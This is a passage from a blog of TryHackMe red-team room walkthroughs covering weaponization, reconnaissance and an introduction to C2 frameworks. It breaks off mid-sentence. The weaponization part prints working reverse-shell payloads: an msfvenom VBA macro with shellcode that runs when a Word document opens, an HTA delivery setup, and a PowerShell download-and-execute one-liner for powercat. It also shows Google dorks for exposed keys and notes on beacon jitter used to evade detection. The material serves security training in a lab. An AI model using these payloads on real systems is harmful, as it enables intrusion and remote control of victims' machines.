\u0026lt;attackbox-ip\u0026gt; set LPORT 443 # configure the local host to listen on set SRVHOST \u0026lt;attackbox-ip\u0026gt; # SRVPORT is set to 8080 by default # configure the payload and target set payload windows/meterpreter/reverse_tcp # meterpreter only compatible with x86 payload # configure URI and SSL (optional) set uripath /verynicecatpicture.png # check configuration options Step 3: Run the HTA web server and copy your target URL on the attack box.\n# properly selected and configured module run # ... # copy the target URL # here: http://\u0026lt;attackbox\u0026gt;:8080/verynicecatpicture.png Step 4: Open the target URL on the target box.\nUse the provided browser (Edge) and navigate to where your payload is served: http://\u0026lt;attackbox\u0026gt;:8080/verynicecatpicture.png.\nThen click our HTA payload file and select Run.\nStep 5: Catch the reverse shell with Metasploit on the attack box.\nIf everything worked correctly, a new Meterpreter session should have opened:\nmsf6 exploit(windows/misc/hta_server) \u003e [*] 10.10.55.169 hta_server - Delivering Payload [*] Sending stage (177734 bytes) to 10.10.55.169 [*] Meterpreter session 1 opened (10.14.95.186:443 -\u003e 10.10.55.169:50431) at ... msf6 exploit(windows/misc/hta_server) \u003e sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows DESKTOP-1AU6NT4\\thm @ DES 10.14.95.186:443 -\u003e 10.10. KTOP-1AU6NT4 55.169:50431 (10.10.55.169) msf6 exploit(windows/misc/hta_server) \u003e sessions -i 1 [*] Starting interaction with 1... meterpreter \u003e whoami [-] Unknown command: whoami. Run the help command for more details. meterpreter \u003e getuid Server username: DESKTOP-1AU6NT4\\thm meterpreter \u003e Question 1: Now, apply what we discussed to receive a reverse connection using the user simulation machine in the Practice Arena task.\nNo answer needed\nVisual Basic for Application (VBA) Combining VBA with other methods: It is important to mention that we can combine VBA with previously covered methods, such as HTAs and WSH. VBAs/macros by themselves do not inherently bypass any detections. Visual Basic for Applications (VBA) is a programming language developed by Microsoft, integrated into applications like Word, Excel, and PowerPoint. It enables automation of nearly all keyboard and mouse interactions within these office programs.\nVBA is used to create macros \u0026ndash; custom functions that automate repetitive tasks to save time. A notable feature of VBA is its ability to access the Windows Application Programming Interface (API) for low-level functionality.\nVBA PoC - Local Actions VBA PoC (display msg) - Run Manually\nStep 1: Open Microsoft Word and create a blank document.\nSave it as a Word 97–2003 Document with thm as the file name.\nStep 2: Create the macro.\nSelect View \u0026gt; Macros \u0026gt; View Macros and add a new macro with the following properties:\n- Macro name: THM\n- Macros in: Document1 (document) (if still unsaved and unnamed)\n- Select Create\nEdit the macro: Select Edit, and the Windows Basic for Applications editor will open. Then add the following PoC code to display a message:\nSub THM() MsgBox (\u0026#34;Welcome to Weaponization Room!\u0026#34;) End Sub Step 3: Run the macro.\nSelect Macros \u0026gt; View Macros \u0026gt; Select created Macro \u0026gt; Run.\nVBA PoC (display msg) - Run Automatically\nStep 1: Same as before.\nStep 2: Similar to before, but modify the macro.\nModify the macro to execute the code automatically once the document is opened:\nSub Document_Open() THM End Sub Sub AutoOpen() THM End Sub Sub THM() MsgBox (\u0026#34;Welcome to Weaponization Room!\u0026#34;) End Sub Step 3: Save the document, close it, and open it again.\nNote: the first time the macro tries to run, a security message will pop up indicating that \u0026ldquo;Macros have been disabled\u0026rdquo; and offers the option to enable them.\nSave it as a Word 97–2003 Document with thm as the file name. Then close the document and editor windows. Finally, reopen the document and enable the macros.\nVBA PoC (run calc.exe) - Run Automatically\nStep 1: Same as before.\nStep 2: Similar to before, but modify the macro.\nModify the macro to execute calc.exe automatically once the document is opened:\nSub Document_Open() PoC End Sub Sub AutoOpen() PoC End Sub Sub PoC() Dim payload As String payload = \u0026#34;calc.exe\u0026#34; CreateObject(\u0026#34;Wscript.Shell\u0026#34;).Run payload,0 End Sub PoC Code Breakdown\n- Dim payload As String: declare the payload variable as a string\n- payload = \u0026quot;calc.exe\u0026quot;: specify payload name\n- CreateObject(\u0026quot;Wscript.Shell\u0026quot;).Run payload: create a WSH object and run the payload\nStep 3: Same as before; however, there is no need to enable the macros again.\nVBA PoC - Reverse Shell Step 1: Create the macro payload with MsfVenom on the attack box.\nCreate the VBA payload with Metasploit:\nuser@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.14.95.186 LPORT=443 -f vba [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 354 bytes Final size of vba file: 2707 bytes #If Vba7 Then Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal Wrkqiwca As Long, ByVal Dgdxg As Long, ByVal Npvk As LongPtr, Hklzyvndg As Long, ByVal Njlhn As Long, Kuqqjct As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal Jefnukei As Long, ByVal Ldrtdbe As Long, ByVal Bxf As Long, ByVal Mtdse As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal Gvsijschj As LongPtr, ByRef Qvaqarnr As Any, ByVal Dcuyxjej As Long) As LongPtr #Else Private Declare Function CreateThread Lib \"kernel32\" (ByVal Wrkqiwca As Long, ByVal Dgdxg As Long, ByVal Npvk As Long, Hklzyvndg As Long, ByVal Njlhn As Long, Kuqqjct As Long) As Long Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal Jefnukei As Long, ByVal Ldrtdbe As Long, ByVal Bxf As Long, ByVal Mtdse As Long) As Long Private Declare Function RtlMoveMemory Lib \"kernel32\" (ByVal Gvsijschj As Long, ByRef Qvaqarnr As Any, ByVal Dcuyxjej As Long) As Long #EndIf Sub Auto_Open() Dim Enpew As Long, Dsfmfn As Variant, Aeyj As Long #If Vba7 Then Dim Pcyg As LongPtr, Yqz As LongPtr #Else Dim Pcyg As Long, Yqz As Long #EndIf Dsfmfn = Array(252,232,143,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20,49,255,139,114,40,15,183,74,38,49,192,172,60,97,124,2,44,32,193,207,13,1,199,73,117,239,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192,116,76,1,208,139,88,32,139,72,24,80,1,211,133,201,116,60,73,139, _ 52,139,1,214,49,255,49,192,193,207,13,172,1,199,56,224,117,244,3,125,248,59,125,36,117,224,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18,233,128,255,255,255,93,104,51,50,0,0,104,119,115,50,95,84, _ 104,76,119,38,7,137,232,255,208,184,144,1,0,0,41,196,84,80,104,41,128,107,0,255,213,106,10,104,10,14,95,186,104,2,0,1,187,137,230,80,80,80,80,64,80,64,80,104,234,15,223,224,255,213,151,106,16,86,87,104,153,165,116,97,255,213,133,192,116,10,255,78,8,117,236,232,103,0,0,0, _ 106,0,106,4,86,87,104,2,217,200,95,255,213,131,248,0,126,54,139,54,106,64,104,0,16,0,0,86,106,0,104,88,164,83,229,255,213,147,83,106,0,86,83,87,104,2,217,200,95,255,213,131,248,0,125,40,88,104,0,64,0,0,106,0,80,104,11,47,15,48,255,213,87,104,117,110,77,97,255,213, _ 94,94,255,12,36,15,133,112,255,255,255,233,155,255,255,255,1,195,41,198,117,193,195,187,240,181,162,86,106,0,83,255,213) Pcyg = VirtualAlloc(0, UBound(Dsfmfn), \u0026H1000, \u0026H40) For Aeyj = LBound(Dsfmfn) To UBound(Dsfmfn) Enpew = Dsfmfn(Aeyj) Yqz = RtlMoveMemory(Pcyg + Aeyj, Enpew, 1) Next Aeyj Yqz = CreateThread(0, 0, Pcyg, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub ... user@kali:~$ Step 2: Adjust VBA PoC payload for MS Word instead of MS Excel on the attack box.\nChange Workbook_Open() to Document_Open() to make it suitable for MS Word documents:\n\u0026#39;Before the adjustment ... Sub Workbook_Open() Auto_Open End Sub \u0026#39;After the adjustment ... Sub Document_Open() Auto_Open End Sub Step 3: Copy the payload and save it into the macro editor (attack box → target box).\nStep 4: Set up a listener on the attack box.\n# run msfconsole msfconsole -q # select the multi/handler module for catching our reverse shell connection use exploit/multi/handler # adjust the payload type to match the one we generated with msfvenom for the VBA payload set payload windows/meterpreter/reverse_tcp # configure local host set LHOST \u0026lt;attackbox-ip\u0026gt; set LPORT 443 # run the listener run Step 5: Open the document and trigger the payload execution on the target box.\nStep 6: Catch the reverse shell on the attack box.\nCheck the opened sessions in your listener:\n... [*] Started reverse TCP handler on 10.14.95.186:443 [*] Sending stage (177734 bytes) to 10.10.10.117 [*] Meterpreter session 1 opened (10.14.95.186:443 -\u003e 10.10.10.117:50847) at ... meterpreter \u003e getuid Server username: DESKTOP-1AU6NT4\\thm meterpreter \u003e Question 1: Now replicate and apply what we discussed to get a reverse shell!\nNo answer needed\nPowerShell (PSH) PowerShell, also known as PowerShell Core or PSH, is a cross-platform task automation solution made up of a command-line shell, a scripting language, and a configuration management framework.\nIt is built on the .NET platform and provides a more powerful and flexible environment than traditional command shells, enabling administrators and developers to automate tasks, configure systems, and manage resources efficiently.\nPowerShell supports both cmdlets (commandlets) and .NET objects, providing a wide range of functionalities for managing Windows, Linux, and macOS systems.\nPSH PoC - Local Executing PowerShell Scripts Locally\nStep 1: Create a simple PowerShell script to display a message.\nWrite-Output \u0026#34;Welcome to the Weaponization Room!\u0026#34; Save it as thm.ps1.\nStep 2: Try running it. It will fail due to the Execution Policy.\nRunning attempt:\npowershell -File thm.ps1 Check the current Execution Policy. By default, it is disabled \u0026ndash; Restricted \u0026ndash; on Windows:\n# Restricted: permits individual commands but not the running of any scripts Get-ExecutionPolicy Step 3: Change the Execution Policy.\nSet-ExecutionPolicy -Scope CurrentUser RemoteSigned Step 4: Run it.\nRun the simple PowerShell script locally:\npowershell -File thm.ps1 Or, optionally, run it by bypassing the execution policy:\npowershell -ex bypass -File thm.ps1 : bypass: nothing is blocked or restricted PSH PoC - Reverse Shell Get a reverse shell with PowerCat (written in PowerShell)\nStep 1: Download PowerCat on the attack box.\ngit clone https://github.com/besimorhino/powercat.git Step 2: Serve the PowerShell payload \u0026ndash; powercat.ps1 \u0026ndash; on the attack box.\ncd powercat # serve the current directory with a Python web server, including \u0026#39;powercat.ps1\u0026#39; python3 -m http.server 8080 Step 3: Start the listener on the attack box.\nnc -lvp 1337 Step 4: Download and execute the PowerShell payload on the target box.\npowershell -c \u0026#34;IEX(New-Object System.Net.WebClient).DownloadString(\u0026#39;http://\u0026lt;attackbox-ip\u0026gt;:8080/powercat.ps1\u0026#39;);powercat -c \u0026lt;attackbox-ip\u0026gt; -p 1337 -e cmd\u0026#34; Step 5: Catch the reverse shell on the attack box.\nWait for the reverse shell to drop into your Netcat listener.\nQuestion 1: Apply what you learned in this task. In the next task, we will discuss Command and Control frameworks!\nNo answer needed\nCommand and Control (C2 or C\u0026amp;C) Command and Control (C2) refers to post-exploitation frameworks used by red teamers to collaborate and manage compromised machines. These tools are crucial during offensive cyber operations. Popular C2 frameworks include:\nCobalt Strike: A commercial framework for adversary simulations and red team operations, offering advanced techniques like covert communications, keylogging, file transfers, privilege escalation, Mimikatz, port scanning, and lateral movement.\nPowerShell Empire: An open-source framework enabling collaboration across multiple servers using keys and shared passwords. It focuses on client-side and post-exploitation of Windows and Active Directory environments.\nMetasploit: A widely used exploitation framework for penetration testing, known as one of the primary tools for pentesting and red team operations. It is open-source and used in this room for generating payloads during weaponization.\nThese C2 frameworks often employ techniques covered in this room to prepare for initial access stages.\nQuestion 1: Read the above.\nNo answer needed\nDelivery Techniques Delivery techniques are crucial for initial access, requiring professional, legitimate, and convincing approaches. Common methods include:\nEmail Delivery\nSending phishing emails with malicious links or attachments to trick victims into visiting malicious websites or downloading and running files. Red teamers may use their infrastructure (DKIM, SPF, PTR records) or third-party services like Gmail or Outlook. Compromised company email accounts can also be used for targeted phishing.\nWeb Delivery\nHosting payloads on a red team–controlled web server with a clean domain reputation and TLS certificate. Techniques involve social engineering victims to visit or download malicious files, potentially using zero-day exploits or compromised software like Java or browsers. URL shorteners can aid this method.\nUSB Delivery\nPhysically distributing malicious USB devices at conferences or events. Techniques include Rubber Ducky, USBHarpoon, and charging cables with hidden malware (e.g., O.MG Cable). This method may be effective in environments allowing USB usage, whereas organizations often restrict it for security reasons.\nQuestion 1: Which method is used to distribute payloads to a victim at social events?\nUSB Delivery\nPractice Arena Check out the MSFVenom Cheat Sheet.\nMigrating with Metasploit\nNote for Doc files: The simulation used in the provided Windows 10 machine will open the malicious Word document and be closed within 90 seconds. In order to get longer persistence, you need to migrate as soon as you receive the connection back. The core idea is to inject our current process into another process on the victim machine. For example, migrate from the current MS Word document process into another process to make the connection stable even if the MS Word document is closed. For this, we could use Metasploit\u0026rsquo;s post/windows/manage/migrate module.\nQuestion 1: What is the flag?\nHint: Check the user desktop folder for the flag!\n\u0026lt;redacted-flag\u0026gt;\nStep 1: Follow the same instructions from Task 4 to create a reverse shell HTA payload with MsfVenom.\nmsfvenom -p windows/x64/shell_reverse_tcp LHOST=\u0026lt;attackbox-ip\u0026gt; LPORT=443 -f hta-psh -o demo.hta Step 2: Start the listener.\nsudo nc -lvp 443 Step 3: Serve the HTA payload \u0026ndash; demo.hta \u0026ndash; via a Python web server.\n# in the same directory where our HTA payload is located python3 -m http.server 8090 Step 4: Run the HTA reverse shell payload by visiting the malicious link.\nSpecify the link \u0026ndash; http://\u0026lt;attackbox-ip\u0026gt;:8090/demo.hta \u0026ndash; for the URL on the provided page: http://\u0026lt;targetbox-ip\u0026gt;:8080/.\nStep 5: Wait for the reverse shell to connect.\nuser@kali:~$ sudo nc -lvp 443 listening on [any] 443 ... 10.10.4.81: inverse host lookup failed: Unknown host connect to [10.14.95.186] from (UNKNOWN) [10.10.4.81] 49725 Microsoft Windows... ... C:\\app\u003e Step 6: Retrieve the flag.\nLong answer: Enumerate each step and find the user flag.\ndir cd .. cd Users dir cd thm dir cd Desktop dir type flag.txt Short answer: Access it directly.\nc:\\app\u003etype c:\\users\\thm\\desktop\\flag.txt type c:\\users\\thm\\desktop\\flag.txt \u0026lt;redacted-flag\u0026gt; c:\\app\u003e ","permalink":"https://onebee.blog/blog/thm/red-teaming/initial-access/weaponization/","summary":"THM | Red Teaming | Initial Access | Weaponization","title":"Weaponization"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Initial Access\nRoom: Red Team Recon DESCRIPTION:\nLearn how to use DNS, advanced searching, Recon-ng, and Maltego to collect information about your target.\nLearning Objectives Types of reconnaissance activities WHOIS and DNS-based reconnaissance Advanced searching Searching by image Google Hacking Specialized search engines Recon-ng Maltego Introduction Reconnaissance (recon) is crucial for launching successful attacks. It involves gathering information about a target without alerting them, and it can be accomplished through various methods such as searching for publicly available information, discovering subdomains, finding email addresses, and locating leaked documents.\nHere we focus on passive reconnaissance techniques that do not create noise or alert the target, with specific objectives including identifying subdomains, gathering host and IP address information, and finding login credentials.\nQuestion 1: We suggest you start the AttackBox and experiment with every command and tool we demonstrate.\nNo answer needed\nTaxonomy of Reconnaissance Reconnaissance is divided into two categories: passive and active recon.\nPassive recon\nInvolves gathering information from publicly available sources without interacting with the target, utilizing Open Source Intelligence (OSINT). This includes collecting domain names, IP address blocks, email addresses, employee names, and job posts through DNS record queries or social media profiles.\nActive recon\nNecessitates direct interaction with the target by sending requests and observing responses. Examples of active reconnaissance techniques include using Nmap to scan target subnets and hosts for live services, version numbers, and running servers.\nActive reconnaissance can be further classified into:\nExternal recon: Performed from outside the network. For example, running Nikto scans from the Internet. Internal recon: Conducted within the target\u0026rsquo;s network. For example, using tools like Nessus on an exploited host inside the target network to scan their internal infrastructure. Question 1: Ensure you have a clear understanding of the different types of recon activities before proceeding.\nNo answer needed\nBuilt-in Tools WHOIS versus DNS Records\nWHOIS and DNS (Domain Name System) records are both important parts of the internet\u0026rsquo;s infrastructure, but they serve different purposes.\nWHOIS is a protocol used for querying databases that store registered users or assignees of a domain name or an IP address. It provides information about the domain registrant, including their name, organization, address, and contact details.\nDNS, on the other hand, is a decentralized system that translates human-readable domain names (like www.example.com) into IP addresses (like 192.0.2.1) that computers use to identify each other on the network. DNS records include various types of information, such as A records, MX records, and CNAME records, that help route traffic to the correct servers and provide additional information about the domain.\nIn summary, WHOIS provides information about the registrant of a domain, while DNS records provide information about how to route traffic to the correct servers for that domain.\nWHOIS queries\nWHOIS is a protocol that follows RFC 3912 specifications for requesting and receiving domain registration data. Servers listen on TCP port 43 and store records maintained by registrars leasing the domain names.\nWHOIS\nTo query the WHOIS database. Command: whois. Example: whois thmredteam.com. Potential information to find:\nRegistrar\u0026rsquo;s WHOIS server and URL. Record creation and update dates. Contact details (registrant, admin, tech) including names, addresses, and email/phone numbers. Results may also reveal authoritative name servers for the queried domain. DNS queries\nNSLOOKUP\nUses the default DNS server to fetch A and AAAA records for a given domain. Available on Unix-like systems, Windows, and macOS. Command: nslookup. Example: nslookup cafe.thmredteam.com. DIG\nDomain Information Groper. Another Unix-like system tool that offers extensive query options and allows specifying alternative DNS servers. Command: dig. Example: dig @1.1.1.1 tryhackme.com (using Cloudflare\u0026rsquo;s DNS server). HOST\nA versatile DNS lookup utility available on Unix-like systems. Command: host. Example: host cafe.thmredteam.com. Route Tracing\nTRACEROUTE/TRACERT\nFor tracing the route taken by packets from your system to the target host. Helps identify intermediate routers (hops) connecting you to the target, though some non-responsive routers may be indicated with an asterisk (*). Command: traceroute or tracert (depending on the operating system). Example: traceroute cafe.thmredteam.com. In summary, these tools enable querying WHOIS databases and DNS servers for valuable information without raising alarms.\nQuestions and Answers Question 1: When was thmredteam.com created (registered)? (YYYY-MM-DD)\n2021-09-24\nQuery the WHOIS database. The default queried server is whois.verisign-grs.com.\nuser@kali:~$ whois --verbose thmredteam.com Using server whois.verisign-grs.com. ... Creation Date: YYYY-MM-DDTHH:MM:SSZ ... user@kali:~$ For the following two questions, you could use any of the previously introduced tools that query DNS servers: namely, nslookup, dig, or host. We use host this time:\nuser@kali:~$ host clinic.thmredteam.com clinic.thmredteam.com has address 104.21.93.169 clinic.thmredteam.com has address 172.67.212.249 clinic.thmredteam.com has IPv6 address 2606:4700:3034::6815:5da9 clinic.thmredteam.com has IPv6 address 2606:4700:3034::ac43:d4f9 user@kali:~$ Question 2: To how many IPv4 addresses does clinic.thmredteam.com resolve?\n2\nQuestion 3: To how many IPv6 addresses does clinic.thmredteam.com resolve?\n2\nAdvanced Searching Popular Search Operators\nFind results with exact search phrase: \u0026quot;search phrase\u0026quot;. Find files of type PDF related to a certain term (OSINT): OSINT filetype:pdf. Other filetypes: doc, docx, ppt, pptx, xls, xlsx. Limit search results to a specific site: salary site:blog.tryhackme.com. Exclude a specific site from results: pentest -site:example.com. Find pages with a specific term in the page title: walkthrough intitle:TryHackMe. Find pages with a specific term in the page URL: challenge inurl:tryhackme. Web Interface for Advanced Searches\nGoogle Advanced Search Search Syntax\nGoogle Refine Web Searches DuckDuckGo Search Syntax Bing Advanced Search Options Search engines index web pages continuously, potentially revealing confidential information such as internal documents, usernames, sensitive directories, server versions, and error messages.\nThe Google Hacking Database (GHDB) compiles search queries that expose such vulnerabilities:\nFootholds: To discover Nginx logs: intitle:\u0026quot;index of\u0026quot; \u0026quot;nginx.log\u0026quot;. Files Containing Usernames: To discover files that leak juicy information: intitle:\u0026quot;index of\u0026quot; \u0026quot;contacts.txt\u0026quot;. Sensitive Directories: To find out if a private RSA key is exposed: inurl:/certs/server.key. Web Server Detection: intitle:\u0026quot;GlassFish Server - Server Running\u0026quot;. Vulnerable Files: intitle:\u0026quot;index of\u0026quot; \u0026quot;*.php\u0026quot;. Vulnerable Servers: intext:\u0026quot;user name\u0026quot; intext:\u0026quot;orion core\u0026quot; -solarwinds.com. Error Messages: intitle:\u0026quot;index of\u0026quot; errors.log. Social Media\nSocial media serves as an additional source for gathering information about a target without direct interaction. Users often share extensive details about themselves and their work \u0026ndash; company employee names, password recovery questions, and targeted wordlists.\nTechnical staff posts might disclose information about the organization\u0026rsquo;s systems and vendors; for example, a network engineer recently certified by Juniper indicates Juniper networking infrastructure.\nJob Ads\nJob advertisements can reveal details like names, email addresses, and potential insights into the company\u0026rsquo;s systems and infrastructure, especially for technical positions. Popular job posts can differ by country, so it is beneficial to explore job listing sites in your client\u0026rsquo;s target regions. Examining the company\u0026rsquo;s official website for any published job openings may uncover additional intriguing details.\nNote that the Wayback Machine can be helpful to retrieve previous versions of a job opening page on your client\u0026rsquo;s site.\nQuestions and Answers Question 1: How would you search using Google for xls indexed for http://clinic.thmredteam.com?\nfiletype:xls site:clinic.thmredteam.com\nQuestion 2: How would you search using Google for files with the word passwords for http://clinic.thmredteam.com?\npasswords site:clinic.thmredteam.com\nSpecialized Search Engines Beyond standard WHOIS and DNS tools, third-party paid services offer historical WHOIS data for comprehensive analysis. Free advanced DNS services are also available on various websites, which provide rich functionality and detailed information about domains.\nWHOIS and DNS Related\nViewDNS.info\nOffers reverse IP lookup, enabling users to find other domain names associated with specific IP addresses, even in cases of shared hosting. It helps determine that a single IP address may host multiple websites.\nThreat Intelligence Platform\nRequires a domain name or IP address input, launching tests for malware checks, WHOIS queries, and DNS lookups. It presents results in an easily readable format with additional information such as resolved Name Server (NS) records to their respective IPv4 and IPv6 addresses. It can also provide a list of other domains sharing the same IP address.\nSpecialized Search Engines\nCensys\nOffers detailed information about IP addresses and domains. By searching one of cafe.thmredteam.com\u0026rsquo;s resolving IP addresses, we can determine if it belongs to a third-party company (e.g., Cloudflare) rather than the target organization. This distinction is crucial for maintaining ethical scope during investigations.\nShodan\nCan be used from the command line after creating an account and configuring Shodan with your API key using the command shodan init API_KEY. Different filters are available depending on your Shodan account type. The Shodan host \u0026lt;IP_ADDRESS\u0026gt; command retrieves geographical location data and open ports for a specified IP address.\nQuestions and Answers Question 1: What is the shodan command to get your Internet-facing IP address?\nshodan myip\nThe answer can be found in the linked Shodan CLI guide.\n\u0026hellip;\nmyip\nReturns your Internet-facing IP address.\nExample\n$ shodan myip\n199.30.49.210\n\u0026hellip;\nRecon-ng Recon-ng is an open-source framework that automates OSINT tasks, offering various functionalities through modules from different authors. Some modules require keys to access online APIs.\nStart Recon-ng:\nrecon-ng # OR recon-ng -w \u0026lt;WORKSPACE_NAME\u0026gt; # to start with the specific workspace Create a workspace for your project:\nworkspaces create \u0026lt;WORKSPACE_NAME\u0026gt; # example workspaces create thmredteam Input starting information into the database:\n# insert a domain db insert domains # check info in db db schema Search the marketplace for a module and review its details before installation:\n# list all of the available modules marketplace search # search for available modules with keyword marketplace search KEYWORD # provide information about the module marketplace info MODULE marketplace info google_site_web # install the specified module marketplace install MODULE marketplace install google_site_web # uninstall the specified module marketplace remove MODULE # module grouping categories: discovery, import, recon, reporting # search for modules containing \u0026#34;domains-\u0026#34; marketplace search domains- # * in D \u0026gt; Dependency | * in K \u0026gt; require a key List installed modules and load one for use:\n# list all the installed modules modules search # load a specific module to memory modules load MODULE modules load viewdns_reverse_whois # unloads the module CTRL + C # review the loaded module\u0026#39;s info info Execute the loaded module to perform OSINT tasks:\n# list the options for the loaded module options list # set the value of the option options set \u0026lt;option\u0026gt; \u0026lt;value\u0026gt; # run the module run # when the module is run, it will read values from the database, get new kinds of information, and add them to the database Keys (optional):\n# lists the keys keys list # add the key keys add \u0026lt;KEY_NAME KEY_VALUE\u0026gt; # remove the key keys remove \u0026lt;KEY_NAME\u0026gt; Questions and Answers Question 1: How do you start recon-ng with the workspace clinicredteam?\nrecon-ng -w clinicredteam\nTo answer the following questions, first we need to fire up Recon-ng.\nuser@kali:~$ recon-ng Then we specify our target domain \u0026ndash; thmredteam.com \u0026ndash; and add it to our information database with db insert domains.\n[recon-ng][default] \u003e db insert domains domain (TEXT): thmredteam.com notes (TEXT): [*] 1 rows affected. [recon-ng][default] \u003e Question 2: How many modules with the name virustotal exist?\n2\nThen we search for modules with virustotal in their names using marketplace search virustotal, which results in:\n[recon-ng][default] \u003e marketplace search virustotal [*] Searching module index for 'virustotal'... +---------------------------------------------------------------------------------+ | Path | Version | Status | Updated | D | K | +---------------------------------------------------------------------------------+ | recon/hosts-hosts/virustotal | 1.0 | not installed | YYYY-MM-DD | | * | | recon/netblocks-hosts/virustotal | 1.0 | not installed | YYYY-MM-DD | | * | +---------------------------------------------------------------------------------+ D = Has dependencies. See info for details. K = Requires keys. See info for details. [recon-ng][default] \u003e Question 3: There is a single module under hosts-domains. What is its name?\nmigrate_hosts\nWe do the same, but this time we search for hosts-domains using marketplace search hosts-domains. This brings us to the answer:\n[recon-ng][default] \u003e marketplace search hosts-domains ... | recon/hosts-domains/migrate_hosts | 1.1 | not installed | YYYY-MM-DD | | | ... [recon-ng][default] \u003e Question 4: censys_email_address is a module that retrieves email addresses from the TLS certificates for a company. Who is the author?\nCensys Inc\nCheck the module information with marketplace info censys_email_address. Remove the comma for the answer.\n[recon-ng][default] \u003e marketplace info censys_email_address ... | author | Censys, Inc. ... [recon-ng][default] \u003e Maltego Maltego is an OSINT tool that combines mind-mapping with various transforms to gather information. Key features include:\nStarting entities: Users input a domain, company name, person\u0026rsquo;s name, or email address to initiate the process.\nTransforms: These are pieces of code that query APIs for related entity data, potentially returning zero or more entities.\nTransform types: Some transforms may actively connect to target systems, so users should understand their functionality before use, especially for passive reconnaissance.\nWorkflow: Users can apply multiple transforms to generate new entities, such as IP addresses from DNS names and vice versa; Maltego organizes the results in a graph format.\nTransform categories: Transforms are grouped by data type, pricing, and target audience; some require a paid subscription, while others are available for free with Maltego Community Edition (CE).\nActivation: Even CE requires activation, which can be done through the Maltego Transform Hub or by installing and activating Maltego CE on a personal system.\nIntegration: Maltego transforms can extract and arrange information from various sources like WHOIS databases and nslookup results.\nQuestions and Answers Question 1: What is the name of the transform that queries NIST\u0026rsquo;s National Vulnerability Database?\nNIST NVD\nWithout a Maltego installation available, we resorted to the techniques introduced in Task 4. A quick Google search \u0026ndash; site:maltego.com NIST transform \u0026ndash; provides us with the answer.\nQuestion 2: What is the name of the project that offers a transform based on ATT\u0026amp;CK?\nMISP Project\nWe do the same here, with only a slight modification to our search query: site:maltego.com ATT\u0026amp;CK transform.\nSummary The primary objective of reconnaissance in cyber attacks is to gather detailed information about the target. This intelligence can then be used to inform and refine subsequent attack strategies, making them more effective.\nBy collecting data on hosts, contacts, and other relevant details, attackers can identify vulnerabilities and launch targeted phishing campaigns.\nThe more intelligence gathered during this phase, the more precise and successful their attack is likely to be.\nQuestion 1: The different tools and websites presented in this room provide the basics necessary to tackle further reconnaissance work.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/red-teaming/initial-access/red-team-recon/","summary":"THM | Red Teaming | Initial Access | Red Team Recon","title":"Red Team Recon"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Red Team Fundamentals\nRoom: Intro to C2 DESCRIPTION:\nMaster C2 essentials to boost your Red Team skills and streamline your next assessment.\nIntroduction Prerequisites\nGeneral experience with the Metasploit Framework General familiarity with Red Teaming General familiarity with exploiting vulnerable virtual machines Question 1: Read the task above!\nNo answer needed\nCommand and Control Framework Structure C2 Frameworks Overview A Command and Control (C2) framework functions similarly to a Netcat listener but is specifically designed to manage multiple reverse shells simultaneously.\nWhile a basic solution might use tools like Netcat, C2 frameworks offer more advanced capabilities. Metasploit serves as a notable example with its built-in payload generator, MSFVenom, enabling the creation and management of malicious payloads tailored for exploitation.\nBeyond merely managing connections, C2 frameworks excel in post-exploitation, providing enhanced functionality that simplifies and automates actions post-initial compromise. This capability makes C2 frameworks superior to basic tools like Netcat, offering sophisticated features that streamline the process of exploiting compromised systems.\nC2 Components The C2 system is a central infrastructure used by operators to manage and control compromised systems remotely.\nEssential components of a C2 server:\nC2 Server: The central hub where agents call back. This server waits passively for commands from the operator, acting as the command center. Agents/Payloads: These are specialized programs generated by the C2 framework that connect to listeners on the server. They execute tasks based on received commands and can be configured for various purposes, such as file operations or data transmission, with adjustable timing for communication. Listeners: Applications running on the C2 server that accept incoming connections from agents using specific protocols like DNS, HTTP, or HTTPS, enabling the establishment of communication channels. Beacons: The process by which agents send updates or data back to listeners through callbacks, providing status information or commands from the operator to the compromised system. Obfuscating Agent Callbacks Sleep Timers: Agents communicate with the C2 server at regular intervals, which can be detected by monitoring traffic patterns.\nJitter: Variability added to the sleep timer makes beaconing less predictable and more difficult to detect, fitting into normal network traffic.\nObfuscation Techniques: Beyond just adding jitter, advanced frameworks might manipulate other aspects of communication to evade detection.\nExample Python code with jitter and sleep timers:\nimport random sleep = 60 jitter = random.randint(-30,30) sleep = sleep + jitter Modules C2 frameworks enhance their capabilities through the use of modules, which provide flexibility and functionality for agents and servers. These modules are often written in various scripting languages, such as Cobalt Strike\u0026rsquo;s Aggressor Scripting Language, PowerShell Empire\u0026rsquo;s multi-language support, and Metasploit\u0026rsquo;s Ruby-based modules.\nPost Exploitation Modules\nUsed to perform activities post-initial compromise, such as lateral movement using tools like SharpHound.ps1 or credential dumping via LSASS.\nPivoting Modules\nEnable access to restricted network segments through techniques like SMB pivoting. A compromised system acts as a proxy, allowing communication from other machines in a different network segment back to the C2 server.\nFigure 3: SMB pivoting network topology diagram\nThe diagram illustrates this concept with victims communicating through a non-restricted host to reach the C2 server, demonstrating how pivoting modules facilitate access to previously inaccessible networks.\nSMB Pivoting Process Quote\nThe victims call back to an SMB named pipe on another victim in a non-restricted network segment. The victim in the non-restricted network segment calls back to the C2 server over a standard beacon. The C2 server then sends commands back to the victim in the non-restricted network segment. The victim in the non-restricted network segment then forwards the C2 instructions to the hosts in the restricted segment. These modules collectively extend the capabilities of C2 frameworks, enabling sophisticated post-exploitation activities and network access strategies.\nPayloads In the context of C2 frameworks, two primary types of payloads are utilized: stageless payloads and staged payloads.\nStageless Payloads These payloads contain the complete C2 agent 